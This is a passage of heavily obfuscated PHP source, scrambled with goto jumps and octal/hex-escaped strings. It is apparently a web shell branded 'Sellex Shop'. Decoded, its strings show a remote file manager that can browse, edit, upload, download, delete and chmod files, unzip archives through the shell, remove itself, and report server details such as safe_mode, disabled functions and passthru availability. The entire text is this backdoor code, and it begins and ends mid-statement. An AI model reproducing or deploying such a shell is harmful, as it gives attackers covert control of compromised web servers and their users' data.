"\42\76\12\40\40\x20\x20\x3c\144\151\x76\x20\x63\154\x61\163\x73\75\42\151\163\x2d\x66\x6c\x65\x78\42\x3e\xa\x20\x20\40\40\x20\x20\74\x69\x6e\160\165\x74\x20\x74\171\x70\x65\75\x22\x74\145\x78\x74\42\40\156\x61\x6d\145\75\x22\x63\x6f\144\145\x78\42\x20\143\x6c\141\163\x73\x3d\42\x69\156\x70\x75\164\42\x20\160\x6c\141\143\x65\x68\x6f\154\144\x65\162\75\42"; goto kRxWW; GpfQr: sl6BV: goto Q_7wu; hXpWe: echo "\74\x2f\164\151\164\x6c\x65\76\xa\40\x20\40\40\74\x73\164\171\154\145\76\12\40\40\40\40\x20\x20\164\x62\157\x64\171\40\x74\162\x3a\x68\x6f\166\x65\162\40\x7b\12\x20\40\40\x20\40\40\40\x20\142\x61\143\153\147\162\157\x75\156\x64\55\x63\x6f\154\x6f\162\x3a\40\x68\163\154\x28\61\x37\x31\x2c\x20\x31\60\60\45\54\x20\x31\66\45\51\12\40\x20\40\40\40\x20\175\xa\x20\x20\40\40\40\40\154\x69\40\x7b\xa\x20\x20\40\x20\40\x20\40\x20\x66\157\156\x74\x2d\163\x69\172\x65\72\x20\x31\70\x70\x78\73\12\x20\40\x20\40\x20\x20\x20\40\x6d\141\162\147\151\x6e\55\x6c\x65\146\x74\x3a\40\66\160\170\x3b\xa\40\40\x20\40\x20\x20\40\x20\x6c\151\163\x74\x2d\163\164\x79\x6c\x65\x3a\x20\156\x6f\x6e\x65\xa\x20\40\40\x20\40\40\x7d\12\x20\x20\x20\40\40\x20\x69\56\151\x63\x6f\156\x20\173\12\x20\40\x20\x20\40\40\x20\40\163\x63\x61\154\x65\x3a\x20\x31\x2e\64\73\12\40\x20\40\x20\x20\x20\x20\x20\155\x61\162\x67\x69\x6e\55\154\x65\x66\164\x3a\40\x2d\x34\160\x78\x3b\xa\x20\x20\x20\40\x20\x20\x7d\xa\x20\40\x20\x20\40\x20\x69\x6e\160\165\x74\x2e\x69\156\160\165\x74\72\72\x70\x6c\141\143\x65\150\157\154\144\145\x72\x7b\12\40\40\40\x20\40\40\40\40\143\x6f\x6c\x6f\x72\x3a\40\x68\x73\x6c\50\61\x37\61\x2c\40\61\x30\x30\x25\54\40\62\x38\45\51\x3b\12\x20\x20\40\40\x20\40\x7d\12\x20\x20\x20\40\x20\x20\x2e\146\154\x6f\x61\x74\x69\x6e\147\55\x62\141\x6e\156\145\x72\173\xa\40\x20\40\x20\x20\x20\x20\40\x70\157\163\151\164\151\157\156\72\146\151\170\x65\x64\73\x62\x6f\x74\x74\157\x6d\72\60\x3b\x72\151\147\x68\164\72\x30\73\xa\x20\40\40\40\40\x20\175\xa\40\x20\40\x20\x20\x20\x2e\146\x6c\157\141\x74\151\156\147\x2d\x62\x61\x6e\156\x65\162\40\141\40\173\12\x20\40\x20\x20\40\40\x20\40\142\157\x72\144\x65\x72\x3a\64\x70\170\40\163\157\x6c\151\x64\40\x23\x66\x66\146\146\x66\146\66\66\x3b\12\x20\x20\x20\x20\40\40\x20\40\x63\x6f\154\157\162\x3a\x23\146\x66\146\x66\x66\146\103\x43\x3b\12\40\x20\40\x20\40\x20\40\x20\142\x6f\162\x64\x65\162\x2d\162\141\144\151\x75\x73\72\70\x70\170\x3b\12\40\40\40\x20\x20\x20\x20\x20\x70\x61\144\x64\151\x6e\147\x3a\x32\160\170\x20\61\62\x70\170\73\12\x20\x20\x20\x20\x20\x20\x7d\12\40\x20\40\40\40\x20\x2e\146\154\x6f\x61\164\x69\x6e\147\55\x62\141\x6e\x6e\x65\162\x20\x61\x20\x62\40\x7b\12\x20\40\40\40\40\x20\x20\40\146\x6f\156\164\55\167\x65\151\x67\150\x74\72\71\x30\60\x3b\xa\40\40\40\40\40\x20\40\40\x63\157\x6c\157\162\72\x77\x68\151\x74\145\x3b\xa\x20\x20\x20\40\40\40\x7d\xa\x20\40\x20\40\x20\x20\x2e\x67\162\x61\144\x69\x65\156\164\55\x62\147\x20\173\xa\40\x20\x20\40\40\x20\x20\40\142\x61\x63\x6b\x67\162\x6f\165\x6e\x64\x3a\x20\x6c\151\x6e\x65\141\162\55\x67\162\x61\144\151\145\x6e\x74\50\55\64\x35\144\x65\147\54\x20\40\43\60\x66\x30\x63\62\x39\54\x20\x23\x33\60\x32\x62\66\x33\54\x20\x23\x32\x34\62\x34\63\x65\54\x23\x65\x65\x37\x37\x35\62\54\x20\x23\x65\x37\63\143\67\145\x2c\x20\43\x32\63\x61\66\144\x35\54\40\x23\62\63\144\65\x61\x62\54\x20\43\146\x66\x35\x31\62\146\54\x20\x23\x64\144\62\x34\x37\66\54\x20\x23\61\146\x34\60\x33\67\x2c\x20\x23\x31\x36\62\x32\62\141\54\40\x23\60\x62\64\70\66\x62\x2c\40\x23\62\x33\60\67\x34\144\x2c\x20\x23\x63\143\65\x33\x33\x33\x29\x3b\xa\x20\40\x20\40\40\x20\x20\x20\x62\141\x63\x6b\147\162\157\165\156\x64\55\x73\x69\172\x65\x3a\x20\x34\x30\x30\x25\40\64\60\60\45\x3b\12\40\x20\x20\40\40\x20\40\40\141\x6e\151\155\141\164\x69\157\156\x3a\40\x67\162\x61\144\151\145\x6e\164\x20\61\x30\163\40\x65\141\x73\x65\x20\x69\x6e\146\x69\x6e\151\164\x65\x3b\xa\x20\40\40\40\x20\40\x7d\xa\xa\40\40\x20\40\x20\40\x40\x6b\145\171\146\162\141\x6d\x65\x73\x20\x67\162\x61\144\x69\x65\156\x74\40\173\12\40\x20\40\x20\40\40\40\x20\60\45\40\173\12\40\40\x20\40\x20\40\x20\40\40\40\x62\141\x63\153\x67\162\x6f\x75\x6e\x64\x2d\x70\x6f\163\x69\164\151\157\x6e\x3a\40\x30\45\x20\x35\60\x25\73\12\40\x20\40\x20\x20\40\x20\40\175\12\x20\x20\x20\x20\40\x20\x20\40\65\60\45\x20\173\12\x20\x20\x20\x20\x20\x20\x20\x20\x20\40\142\x61\143\x6b\x67\162\x6f\x75\x6e\x64\55\x70\157\163\x69\164\151\x6f\x6e\72\40\x31\x30\x30\x25\40\65\x30\x25\x3b\12\x20\x20\x20\40\x20\40\40\x20\175\xa\x20\x20\x20\40\x20\x20\x20\x20\61\x30\x30\45\40\x7b\12\40\x20\40\40\x20\40\40\x20\40\40\142\x61\x63\x6b\147\162\157\165\156\x64\55\160\157\x73\x69\x74\x69\157\x6e\x3a\40\x30\45\x20\65\60\x25\73\12\40\x20\x20\x20\x20\40\40\40\175\12\x20\x20\40\x20\x20\x20\x7d\xa\12\12\x20\x20\x20\x20\x20\40\141\x7b\x63\x6f\154\x6f\x72\x3a\43\146\146\x66\175\12\x20\x20\40\x20\x3c\x2f\x73\x74\x79\x6c\x65\x3e\12\x20\x20\40\40\74\163\x63\162\151\160\164\40\x73\162\x63\75\42\57\57\165\x6e\160\x6b\x67\56\x63\x6f\155\x2f\163\x77\x65\x65\164\141\x6c\x65\x72\x74\x2f\x64\x69\x73\164\x2f\x73\x77\x65\145\164\141\154\145\x72\164\x2e\x6d\x69\156\x2e\152\163\42\x3e\74\x2f\163\x63\x72\x69\x70\164\x3e\12\x20\x20\74\57\x68\x65\141\144\x3e\xa\74\142\x6f\x64\x79\x20\x64\x61\164\141\x2d\x74\x68\x65\155\145\75\x22\144\x61\x72\x6b\42\40\x63\x6c\141\163\163\x3d\x22\150\141\x73\55\x62\141\x63\153\x67\162\157\x75\x6e\x64\x2d\142\154\x61\143\x6b\55\142\151\163\x20\150\x61\x73\x2d\164\x65\x78\164\55\x77\150\151\x74\x65\55\142\x69\x73\x22\40\x73\164\x79\x6c\x65\x3d\42\x6d\x69\156\x2d\150\145\x69\147\x68\164\x3a\x31\x30\60\x76\x68\42\76\12\40\x20\x3c\144\151\x76\40\x73\164\171\x6c\145\x3d\42\x64\151\163\160\154\x61\x79\x3a\156\x6f\x6e\x65\42\76\12\40\40\x20\x20\74\x61\40\x68\x72\145\x66\x3d\x22\150\164\164\160\x73\72\57\57\x73\x65\x6c\154\x65\170\x2e\142\x69\x7a\x22\x20\x74\x69\x74\154\x65\75\42\123\x65\x6c\x6c\x65\170\40\123\150\157\x70\x22\x3e\x53\145\154\x6c\x65\170\x20\x53\x68\157\160\74\57\141\76\xa\40\40\40\40\74\x64\151\166\76\12\x20\40\40\40\40\x20\74\163\160\x61\x6e\x3e\x53\x65\154\154\145\170\x2e\x70\x77\74\x2f\x73\x70\141\156\76\12\x20\40\x20\x20\x20\40\x3c\163\160\x61\x6e\76\x46\x69\x6c\145\x20\155\x61\x6e\x61\147\145\x72\x3c\57\x73\160\141\156\x3e\12\x20\x20\40\40\40\x20\x3c\163\x70\x61\156\x3e\123\x65\x6c\146\40\162\x65\155\x6f\166\x65\74\x2f\x73\x70\x61\156\76\12\x20\40\x20\40\74\57\144\151\166\x3e\12\x20\40\40\x20\x3c\154\x69\x3e\125\156\141\155\x65\40\72\40\x3c\156\157\142\162\x3e"; goto KBqBV; ftX43: echo "\42\76\12\x20\x20\x20\x20\x20\40\x20\40\x3c\x69\x6e\x70\165\x74\x20\164\171\160\145\75\42\163\x75\142\x6d\151\x74\x22\40\x63\154\x61\x73\x73\x3d\x22\142\165\x74\x74\x6f\x6e\x20\x69\163\x2d\x70\162\x69\155\141\162\171\40\151\163\55\x64\x61\162\x6b\40\151\x73\x2d\163\x6d\141\154\x6c\x20\155\164\x2d\62\42\40\156\141\x6d\145\75\x22\151\156\146\x6f\42\x20\x76\141\x6c\165\x65\75\x22\106\165\x6c\x6c\40\x53\x65\162\166\x65\162\x20\x49\156\x66\157\x22\x3e\xa\x20\x20\40\x20\x20\40\x3c\x2f\146\157\162\155\x3e\12"; goto Zn19y; asyxZ: if ($DRQDR === TRUE) { goto pBHDV; } goto dJUVQ; gvvFg: echo "\74\144\x69\x76\x20\x6d\x65\164\150\x6f\144\75\42\x70\157\163\164\42\40\143\x6c\141\x73\163\75\42\x62\x6f\170\x22\x20\x73\x74\171\x6c\x65\x3d\x22\x62\x6f\x72\x64\145\x72\x3a\62\160\170\40\163\x6f\x6c\151\144\x20\x68\x73\154\50\x31\x37\x31\54\40\x31\x30\60\45\x2c\40\61\x36\x25\x29\42\x3e\xa\40\40\x3c\150\64\x20\x63\154\x61\x73\163\75\x22\151\x73\x2d\163\x69\x7a\x65\55\x35\40\150\x61\x73\x2d\164\x65\x78\164\x2d\167\x65\x69\147\150\164\x2d\x62\157\x6c\144\x20\150\141\163\55\164\145\170\x74\x2d\160\162\151\x6d\141\x72\x79\x20\155\x62\x2d\x34\42\x3e\xa\x20\40\40\40\x56\151\145\167\x20\x46\x69\154\145\x3a\x20\x3c\163\x70\x61\x6e\x20\143\154\x61\163\x73\x3d\42\150\x61\x73\55\x74\145\x78\164\x2d\167\150\151\x74\145\x20\150\141\x73\55\x74\145\170\x74\x2d\167\145\x69\147\150\x74\x2d\x6e\x6f\x72\155\x61\x6c\x22\76\x20"; goto k9e4Z; fSLYI: if (!isset($_POST["\x7a\151\160\x66\151\x6c\x65"])) { goto TiVoG; } goto HiUWT; cgrAg: bjEbz: goto S8AsQ; PQOqt: echo ugwhk($_GET["\156"]); goto aDHsV; JniYy: unlink($FK4d6); goto Rk1K9; G87Ww: echo UgWhk($_GET["\x70"]) . "\x2f" . UgwhK($_GET["\x6e"]); goto HhYmi; o4r4L: echo "\125\156\172\151\160\160\x65\x64\x20\x73\x75\x63\143\145\163\x73\x66\165\154\x6c\171\x20\165\163\151\x6e\147\40\143\x6f\155\x6d\141\x6e\144\40\154\x69\x6e\x65\x2e\xa"; goto FcEuN; DNDGC: H2eZY: goto nH3yT; bVKkC: Rhx7x: goto BFh3Z; Qnu8o: if (isset($_GET["\x64\x6f\x77\x6e\154\x6f\x61\x64"])) { goto nBPoY; } goto BCVk_; C_GN8: isset($_POST["\163"]) ? $mWJjd[12]("{$keVpk}\x2f{$_POST["\156"]}") ? f2Y3t("\146\157\154\x64\145\162\40\x6e\141\155\x65\x20\x68\x61\163\40\x62\145\145\x6e\x20\x75\x73\x65\144", 0, "\46\x61\75" . SiRa4("\x6e\x65\167\x44\151\x72")) : ($mWJjd[15]("{$keVpk}\57{$_POST["\156"]}") ? F2y3T("\146\x6f\x6c\x64\x65\x72\40\143\162\x65\141\x74\145\x64\40\x73\165\x63\143\x65\163\163\x66\x75\154\154\171") : F2y3T("\146\x6f\x6c\144\x65\162\x20\146\141\151\154\x65\x64\x20\164\157\40\143\x72\x65\141\x74\x65", 0)) : null; goto cxhRw; K_MOx: $zErae++; goto uThiJ; OKn_g: echo "\74\x2f\x6c\x69\76\xa\40\x20\74\57\x64\x69\166\x3e\xa\x20\x20\x3c\x64\151\x76\40\143\x6c\141\163\x73\x3d\42\160\x2d\62\x22\x3e\12\40\40\40\40\x20\x20\x3c\150\x33\x20\x63\x6c\x61\x73\x73\x3d\42\x69\163\55\x73\151\x7a\x65\x2d\63\x20\x6d\x62\x2d\x33\42\x20\x3e\xa\40\40\x20\x20\40\x20\x20\40\74\x63\x65\156\x74\145\162\x3e\x3c\142\x3e\74\x61\x20\x73\164\x79\x6c\145\75\42\142\141\143\153\x67\x72\157\x75\x6e\x64\72\x74\x72\141\x6e\x73\160\141\162\145\x6e\x74\x22\x20\150\x72\145\x66\x3d\42"; goto LISdx; NbQpR: echo "\x3c\x2f\160\x72\x65\76\74\x2f\144\151\x76\76"; goto F63xR; f0OQq: zBzhl: goto OhcY4; i0L9P: if (isset($_GET["\160"])) { goto X1heF; } goto hB10d; nH3yT: echo "\124\150\x65\40\x27\x75\156\x7a\151\x70\47\x20\143\157\155\x6d\x61\156\x64\40\x69\163\40\156\x6f\x74\40\141\166\141\x69\x6c\141\x62\154\145\x20\157\156\x20\x74\x68\x69\x73\x20\x73\145\x72\166\x65\162\56\12"; goto vwrwf; m8TO1: $DRQDR = $qJtBd->open($huZFR); goto asyxZ; iTPy6: echo "\74\57\x6e\x6f\142\162\76\40\174\40\143\125\x52\114\x20\72\40"; goto HKjD5; rwbFS: dR8cX: goto lmJ1h; xLpxC: v0eS9: goto nJ13P; r2NiQ: echo "\40\x20\x20\x20\x20\x20\x3c\57\146\157\x72\155\76\12\40\40\x20\40\x20\x20\74\146\x6f\x72\x6d\x20\x61\143\164\151\x6f\156\x3d\42\x22\x20\x63\154\141\163\163\75\42\x69\163\x2d\x66\154\145\170\x20\151\163\55\x61\154\x69\147\x6e\55\x69\164\x65\155\163\x2d\x65\156\x64\x22\x20\x6d\145\164\x68\x6f\144\x3d\42\x50\117\123\x54\x22\76\xa\x20\x20\x20\x20\40\40\40\x20\74\x64\x69\x76\76\xa\x20\x20\40\x20\x20\40\x20\40\x20\x20\x3c\x21\55\55\x20\x3c\x6c\141\142\145\x6c\x3e\x4e\x65\x77\x20\x46\x69\x6c\145\74\x2f\154\141\142\x65\x6c\x3e\40\x2d\55\76\12\40\x20\40\x20\40\x20\40\40\x20\40\x3c\x69\x6e\160\x75\164\x20\164\x79\160\x65\x3d\42\x74\145\170\164\42\40\143\154\x61\163\x73\x3d\42\x69\156\160\165\164\x20\151\x73\55\163\x6d\x61\154\154\42\40\x70\154\141\x63\x65\x68\x6f\x6c\x64\x65\x72\75\x22\x4e\x65\x77\x20\106\x69\x6c\x65\x22\40\x20\x6e\x61\155\145\x3d\x22\155\141\153\x65\146\x69\154\x65\42\x2f\x3e\12\40\x20\40\x20\40\40\x20\40\74\57\x64\x69\x76\76\12\x20\x20\x20\x20\x20\40\40\40\x3c\151\156\x70\165\x74\x20\143\154\141\163\163\x3d\42\x6d\x6c\x2d\61\x20\x62\165\x74\164\157\x6e\x20\151\163\x2d\160\162\x69\x6d\x61\x72\171\x20\x69\x73\x2d\x73\x6d\x61\x6c\154\42\40\x74\x79\x70\145\x3d\x22\163\165\142\155\x69\x74\x22\x20\x6e\141\155\145\75\x22\163\x75\142\x6d\x69\x74\x22\40\166\141\x6c\x75\x65\75\x22\x3e\x22\x2f\76\12\40\40\x20\40\x20\40\x20\x20"; goto H61a3; BrWxp: echo $_SERVER["\x52\105\115\x4f\124\x45\137\x41\104\104\x52"]; goto tZlvn; LNZmW: lA959: goto aygGR; suGJ_: echo "\x3c\57\156\x6f\142\162\x3e\12\40\x20\x20\40\x20\x20\x20\x20\x3c\142\x20\x63\x6c\x61\x73\x73\75\42\164\141\x67\x20\x69\x73\x2d\154\151\x67\150\164\40\150\x61\x73\55\x74\x65\170\164\55\144\x61\x72\153\42\x3e\143\x55\x52\114\74\x2f\x62\76\12\x20\40\x20\x20\x20\x20\x20\x20\x3c\156\x6f\x62\162\x20\x63\154\x61\163\x73\75\x22\x6d\x78\x2d\62\42\76"; goto I04b2; znQki: ISTc7: goto S4PR2; hRG94: die($oJwbz); goto RXCC4; VLAWb: function ta6A_() { goto qIzSa; Xx_Os: return "\x4f\106\106"; goto Hu5gv; XNMt4: return "\117\x4e"; goto uWjuh; T7EWo: if (!$CNnnz) { goto HT4LX; } goto XNMt4; Hu5gv: dK1SF: goto QjQdh; uWjuh: goto dK1SF; goto xfzK_; xfzK_: HT4LX: goto Xx_Os; qIzSa: $CNnnz = ini_get("\x73\x61\146\x65\x5f\x6d\x6f\144\145"); goto T7EWo; QjQdh: } goto nIBSq; ihg4R: echo "\x3c\x2f\144\x69\x76\x3e\xa\12"; goto cSOLn; qeUDI: oUhL4: goto Digjf; RU3J2: uUjpR: goto tvfll; BD3G9: unlink($mKxy1 . "\x2f\164\x65\x73\164\x5f\x63\157\155\155\x61\156\144\56\164\170\x74"); goto g1M5R; hp8IJ: echo "\42\x3e\12\x20\x20\40\x20\x20\40\74\x64\x69\166\40\x63\x6c\x61\163\x73\75\42\x69\x73\x2d\146\x6c\x65\x78\x22\76\12\40\x20\x20\40\x20\x20\x20\x20\x3c\151\x6e\160\x75\164\x20\x74\171\x70\145\75\x22\164\145\170\x74\x22\x20\x6e\x61\155\145\75\42\143\157\144\145\170\x22\40\x63\x6c\141\163\163\75\42\x69\156\x70\x75\x74\x22\x20\x70\154\141\x63\x65\150\x6f\154\x64\145\162\x3d\x22"; goto o2t6T; ZxJHB: $I8vAC .= $Q0FGf[rand(0, $c4zya - 1)]; goto sfpuB; KNEon: if (file_exists($mKxy1 . "\x2f\164\x65\x73\164\x5f\143\157\x6d\x6d\141\x6e\144\x2e\164\170\164")) { goto NY9pM; } goto gFmxG; FEBxE: if (strpos(ini_get("\x64\x69\163\x61\x62\x6c\145\x5f\146\x75\156\143\164\151\157\156\163"), "\x70\141\x73\x73\164\x68\162\165") !== 0) { goto GfRvx; } goto kU72Z; S4PR2: jRMyk: goto ihg4R; ptH6a: $zErae++; goto S9ILR; PnUlf: if (!($zErae < count($mWJjd))) { goto JaEu0; } goto s5eAc; yLU0O: function ffuJp() { goto rCqHi; rCqHi: $xHymW = ini_get("\x64\x69\163\x61\x62\154\145\137\x66\x75\156\143\x74\x69\157\x6e\x73"); goto c8SN1; nq5s7: goto BjQbH; goto hBiDf; thxSs: return "\116\117\x4e\105"; goto toB77; c8SN1: if ($xHymW === null || $xHymW === '') { goto NODaP; } goto OE82c; OE82c: return $xHymW; goto nq5s7; toB77: BjQbH: goto MdwZ0; hBiDf: NODaP: goto thxSs; MdwZ0: } goto FhGzc; V15Yn: if (!$mWJjd[12]($FK4d6)) { goto TJ4s1; } goto T4Cf5; yUqwZ: unlink($fKgA3); goto hRG94; be0Xq: uBpEI: goto DD3Zf; xZKMy: bL7ZL($FK4d6); goto V15Yn; MwYDR: $C1o8f = "\163\143\x61\156\x64\151\x72"; goto uDHys; stDsX: echo "\74\x2f\156\x6f\x62\162\x3e\x20\x7c\40\131\x6f\165\162\40\x49\x50\40\x3a\x20\74\x6e\157\142\x72\76"; goto Ivj0Q; S_wCk: EhEmv: goto Ae3K7; DccwL: if ($uKjJE == "\166\x69\145\x77") { goto M9NtG; } goto LjELl; n6diT: $E5Z_f = "\164\145\163\x74\137\x63\x6f\155\x6d\141\x6e\144\x2e\164\x78\164"; goto LQ0zG; DJowL: FgYw1($_POST["\x63\147\x66"], $_POST["\x63\x6f\144\x65\170"]); goto KIbsI; hruo2: foreach ($eEP7u as $UUNTX => $NaV7W) { goto eX0_t; E07k0: if (!($zErae <= $UUNTX)) { goto wCUh6; } goto tW25X; o6IVN: echo "\x22\x3e{$NaV7W}\74\x2f\x61\76\x2f"; goto s2b3M; ffLWS: if (!($zErae != $UUNTX)) { goto hPVmu; } goto SLWrs; KbUTP: echo "\x3c\x61\x20\x68\x72\x65\146\75\42\77\x70\75"; goto OERBf; OEQlv: if (!($NaV7W == '')) { goto GS5nb; } goto p3VQ5; ewqVO: $zErae++; goto d8kRZ; mKW9n: hPVmu: goto CwEma; tW25X: echo sIRa4($eEP7u[$zErae]); goto ffLWS; eTgPd: GS5nb: goto KbUTP; d8kRZ: goto tgmlH; goto TZjIQ; CUjjr: echo "\74\x61\40\x68\162\145\146\x3d\x22\x3f\x70\75\x32\146\x22\76\176\74\57\141\x3e\57"; goto tURdc; eX0_t: if (!($UUNTX == 0 && $NaV7W == '')) { goto lP038; } goto CUjjr; CwEma: zBNFf: goto ewqVO; MP9gs: lP038: goto OEQlv; OERBf: $zErae = 0; goto HpZlc; SLWrs: echo "\62\x66"; goto mKW9n; p3VQ5: goto a30Gp; goto eTgPd; tURdc: goto a30Gp; goto MP9gs; TZjIQ: wCUh6: goto o6IVN; s2b3M: a30Gp: goto RGSrR; HpZlc: tgmlH: goto E07k0; RGSrR: } goto L3Ewc; QmpR8: die($FZEHa ? "\143\150\x65\x63\x6b\x2d\x72\145\163\165\x6c\x74\x2d\x31" : "\143\150\x65\x63\153\x2d\x72\x65\x73\165\154\x74\55\x30"); goto Yzggh; eEOh3: $zErae = 0; goto R4zTw; Me6j_: $f12FE = (isset($_SERVER["\x48\x54\124\x50\123"]) && $_SERVER["\x48\x54\124\x50\x53"] === "\157\156" ? "\150\x74\x74\160\x73" : "\x68\164\x74\160") . "\x3a\x2f\57" . $_SERVER["\x48\124\x54\120\x5f\x48\x4f\x53\x54"] . Ugwhk($q5oCr) . "\57" . $_FILES["\146"]["\156\141\155\x65"][$zErae]; goto i2LLY; i2LLY: f2Y3T("\x66\x69\154\x65\40\x75\160\x6c\x6f\x61\x64\145\x64\40\x73\165\143\x63\x65\x73\x73\146\x75\154\x6c\171\41\134\156" . $f12FE); goto OrZ4o; zCGt4: $FK4d6 = $keVpk . "\57" . uGwhK($_GET["\156"]); goto aVplc; jUVbS: echo "\42\76\12\40\40\x20\x20\x20\40\40\x20\x3c\x2f\144\151\166\76\xa\x20\40\x20\x20\x20\40\40\40\x3c\x62\x75\x74\x74\157\x6e\x20\x74\x79\160\x65\75\x22\163\165\x62\x6d\151\x74\x22\x20\x6e\141\x6d\145\x3d\x22\x73\42\x20\x63\154\141\x73\x73\75\42\142\165\164\164\157\156\40\151\163\x2d\160\162\151\155\141\x72\171\x22\76\123\x61\166\x65\74\57\142\x75\164\164\x6f\x6e\76\12\40\x20\x20\40\x3c\x2f\146\157\162\155\x3e\xa"; goto NzkH4; vLcfu: isset($_POST["\x73"]) ? $mWJjd[13]($keVpk . "\57" . UGWhk($_GET["\x6e"]), $_POST["\x63\x74\156"]) ? f2y3T("\146\151\x6c\145\x20\x63\157\x6e\x74\x65\156\x74\x73\x20\143\150\141\156\147\145\144\x20\163\x75\x63\x63\145\163\x73\146\165\x6c\154\x79", 1, "\x26\141\75" . sIRA4("\166\151\x65\167") . "\x26\156\75{$_GET["\x6e"]}") : f2Y3t("\146\151\x6c\x65\x20\143\157\x6e\x74\145\156\x74\163\x20\146\141\151\x6c\145\144\40\164\x6f\x20\x63\150\141\156\x67\x65") : null; goto ynQAL; cyHmn: echo "\74\x2f\164\x65\x78\x74\x61\x72\145\141\76\12\40\x20\40\x20\x3c\x2f\144\151\x76\x3e\xa\x20\x20\x20\40\74\142\x75\164\164\x6f\156\40\164\x79\x70\145\75\x22\x73\165\x62\x6d\x69\x74\x22\40\156\x61\x6d\145\x3d\x22\163\42\x20\143\x6c\x61\x73\x73\x3d\x22\142\x75\x74\164\157\156\40\151\163\55\160\162\151\x6d\141\x72\x79\42\76\x53\x61\x76\x65\x3c\x2f\142\x75\164\164\157\x6e\76\xa\74\57\146\157\162\155\76\xa\12"; goto vLcfu; RR_mL: function PtPzR($awBwn) { goto rei4e; hpA04: header("\103\x6f\x6e\x74\145\x6e\x74\55\104\x69\x73\160\157\x73\151\x74\x69\157\x6e\72\40\x61\x74\x74\x61\143\x68\x6d\145\x6e\x74\x3b\40\146\x69\154\145\x6e\141\x6d\145\75\x22" . basename($uM71B) . "\42"); goto kOkwh; rei4e: $yrDZG = explode("\x2f", $awBwn); goto CkMd7; vVE9l: header("\x43\157\x6e\x74\x65\x6e\164\x2d\124\x79\x70\x65\72\40\141\160\x70\x6c\151\143\x61\164\x69\157\156\x2f\x6f\143\x74\145\x74\x2d\x73\x74\x72\145\x61\x6d"); goto QGOml; kOkwh: readfile($uM71B); goto D6w6q; D6w6q: Nt0gh: goto hIFS1; ybZXm: if (!file_exists($uM71B)) { goto Nt0gh; } goto AE2Ew; QGOml: header("\103\x6f\156\x74\x65\156\164\x2d\104\x65\163\143\x72\x69\160\x74\x69\157\156\72\x20\x46\x69\154\145\40\124\162\x61\156\163\146\x65\162"); goto DZxOa; CkMd7: $uM71B = uGwHK($yrDZG[0]) . "\57" . UgWhK($yrDZG[1]); goto ybZXm; AE2Ew: $W008J = mime_content_type($uM71B); goto vVE9l; DZxOa: header("\x43\x6f\156\164\x65\156\164\x2d\x4c\145\x6e\x67\x74\x68\x3a\40" . filesize($uM71B)); goto hpA04; hIFS1: } goto fwZTh; lXRD0: echo $mWJjd[18]($mWJjd[14]($keVpk . "\57" . ugWhK($_GET["\156"]))); goto cyHmn; M4x5x: echo "\x54\150\x65\40\x27\x7a\x69\x70\x27\40\x63\x6f\x6d\155\141\156\x64\40\151\x73\x20\x61\166\x61\151\154\x61\142\154\145\72\x20" . trim($bzgfY) . "\xa"; goto Rn_2N; xghJY: $mKxy1 = "\x74\x65\163\164\x5f\143\x6f\x6d\155\x61\x6e\x64\x5f\x75\156\x7a\151\160"; goto i8jP4; LYRJc: unlink($E5Z_f); goto yUqwZ; Dj8ry: mIOi_: goto EWy47; INqQY: echo "\x3c\x2f\x6e\x6f\x62\162\76\xa\x20\40\40\40\x20\x20\74\57\144\x69\166\x3e\xa\x20\x20\40\40\40\x20\74\x62\162\x3e\xa\40\40\40\x20\40\40\x20\40\74\x64\x69\166\40\x63\x6c\141\x73\163\75\x22\x69\163\x2d\x66\x61\x6d\151\154\x79\x2d\x6d\x6f\x6e\x6f\163\160\141\143\x65\x20\x62\165\x74\164\x6f\x6e\x20\x69\163\55\x69\156\x66\157\x20\x70\154\55\x32\40\x69\x73\55\157\165\164\154\151\156\x65\144\40\151\163\55\x69\156\x76\145\162\x74\145\x64\42\76\xa\x20\x20\x20\x20\x20\40\x20\40\74\142\40\x63\154\x61\163\163\75\42\x74\141\x67\x20\151\x73\x2d\x69\156\146\157\42\76\123\145\162\166\x65\162\40\111\120\x3c\57\x62\x3e\xa\x20\x20\40\40\40\x20\x20\x20\x3c\156\x6f\x62\162\x20\143\x6c\141\x73\163\75\x22\x6d\x78\55\x32\42\x3e"; goto hRGsN; nPlIh: if (!($uKjJE == "\144\x65\154\x65\x74\x65")) { goto mIOi_; } goto zCGt4; o2t6T: echo substr(sprintf("\45\157", fileperms(Ugwhk($_GET["\160"]) . "\57" . UgWHk($_GET["\144"]))), -4); goto Rjllv; mYmQW: if (!(isset($_POST["\x63\147\146"]) && isset($_POST["\x63\157\144\x65\x78"]))) { goto ISTc7; } goto qE85o; LWcmT: $huZFR = fopen(basename(UgWhK($_GET["\160"]) . "\57" . $_POST["\155\141\x6b\x65\146\151\x6c\x65"]), "\167") or die(F2Y3t("\x46\141\151\154\145\x64\x20\164\157\40\143\162\145\141\x74\145\40\x66\x69\x6c\145\x21", 0)); goto gWY2k; DD3Zf: TiVoG: goto J3Gof; aMauj: $qJtBd = new pkTmj(); goto m8TO1; xMxKr: echo $_SERVER["\123\105\122\x56\105\122\x5f\101\x44\115\x49\x4e"]; goto td1r3; aVil9: echo "\74\x2f\x6e\x6f\142\x72\76\x3c\x2f\x6c\x69\76\12\x20\x20\40\40\74\154\x69\x3e\x55\x73\145\x72\40\x3a\x20\x3c\x6e\157\x62\162\76"; goto cPk5D; Ka8IZ: JaEu0: goto i0L9P; GECeh: if (!isset($_GET["\x63\150\x6d\157\x64\x64"])) { goto A6KR2; } goto auHmR; a3KVK: $zErae = 0; goto GpfQr; qtvxW: f2y3t("\x46\151\154\145\x20\143\162\145\141\164\145\x64\41"); goto nycFR; Gi67v: if (!isset($_GET["\143\x68\x65\143\153\x7a\151\160"])) { goto QrVTg; } goto GarFd; FzZRE: echo "\42\x3e\x3c\x62\162\x3e\xa\40\x20\40\40\x20\x20\x3c\151\x6e\160\x75\164\40\x20\x63\154\141\163\x73\75\x22\x62\165\164\164\x6f\x6e\x20\151\x73\x2d\x70\162\x69\155\141\162\171\40\x6d\x6c\x2d\x32\42\40\x74\x79\x70\145\x3d\x22\x73\x75\x62\x6d\151\164\x22\x20\166\141\x6c\165\x65\x3d\42\x63\150\x6d\x6f\x64\42\x3e\xa\40\x20\x20\x20\x3c\x2f\x64\151\x76\x3e\12\x9\x3c\x2f\146\157\162\x6d\x3e\12\74\57\144\151\x76\x3e\xa\x9"; goto mYmQW; fptV5: echo $_SERVER["\x53\105\122\126\x45\122\137\x53\117\106\124\x57\101\x52\x45"]; goto oIwRl; aDHsV: echo 